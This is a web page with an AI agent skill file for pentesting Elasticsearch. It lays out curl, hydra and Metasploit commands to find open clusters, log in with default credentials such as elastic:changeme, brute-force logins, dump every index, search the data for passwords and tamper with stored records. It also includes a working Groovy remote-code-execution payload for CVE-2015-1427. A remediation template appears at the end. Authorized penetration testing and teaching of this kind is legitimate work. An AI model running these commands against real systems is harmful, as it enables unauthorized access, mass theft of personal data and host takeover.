Pentesting elasticsearch

From xalgord/xalgorix · View interactive version

Pentesting elasticsearch is an AI agent skill from the GitHub repository xalgord/xalgorix. Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) d

How to use this skill

Skill file

Pentesting Elasticsearch (port 9200)

When to Use

Quick Enumeration

# Banner / version
curl -s http://<IP>:9200/

# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)

nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate

curl -s http://<IP>:9200/                         # version banner
curl -s http://<IP>:9200/_cat/indices?v           # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user           # roles/users (if auth on)
curl -s http://<IP>:9200/_cat                      # supported _cat endpoints

Step 2: Authenticate (open access, default/weak creds, brute force)

curl -s http://<IP>:9200/_cat/indices              # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/      # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /

Step 3: Exploit / Extract (dump indices + scripting RCE)

# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"

# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
  -d '{"bookId":"A00-3","author":"x","name":"test"}'
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
  "size": 1,
  "script_fields": {"x": {"lang":"groovy",
    "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run'   # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427

Step 4: Post-access / privilege escalation / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| REST/HTTP API | All interaction is HTTP on 9200; browser/curl give full access when auth is off. |

| Index / document | An index is a JSON document collection; _search queries return documents. |

| Auth disabled default | X-Pack security off by default → unauthenticated full read (and often write). |

| size parameter | _search defaults to 10 results; set size=N to dump entire indices. |

| _cat / _cluster / _security | Diagnostic endpoints exposing indices, health, users, and roles. |

| Dynamic scripting | Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| curl | Primary client for banner, index listing, dumping, write tests, scripting RCE. |

| nmap NSE | http-* scripts + version detection; nmap-elasticsearch-nse enumerates indices/plugins/nodes. |

| Metasploit | scanner/elasticsearch/indices_enum, exploit/multi/elasticsearch/script_mvel_rce (CVE-2014-3120), search_groovy_script (CVE-2015-1427). |

| hydra / medusa / ffuf | HTTP basic-auth brute force against /. |

| horuz | Fuzz Elasticsearch endpoints/indices. |

| Kibana (5601) | Linked frontend, frequent pivot for visualization-layer attacks. |

Common Scenarios

Scenario 1: Open cluster → mass data dump

curl http://<IP>:9200/_cat/indices?v lists customers, logs-* indices. _search?size=9999 exfiltrates every document, including plaintext PII and access logs with session tokens.

Scenario 2: Default elastic creds

Security is enabled but the elastic superuser still uses changeme. curl -u elastic:changeme http://<IP>:9200/_security/user enumerates all accounts and grants full cluster control.

Scenario 3: Legacy Groovy RCE

An ES 1.4.2 node allows dynamic scripting. A script_fields Groovy payload runs id, returning uid=...elasticsearch, escalating from data access to host command execution.

Output Format

## Elasticsearch Finding

**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
  - curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
  - curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
  - _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
  1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
  2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
  3. Change all default account passwords (elastic, kibana, logstash_system).
  4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.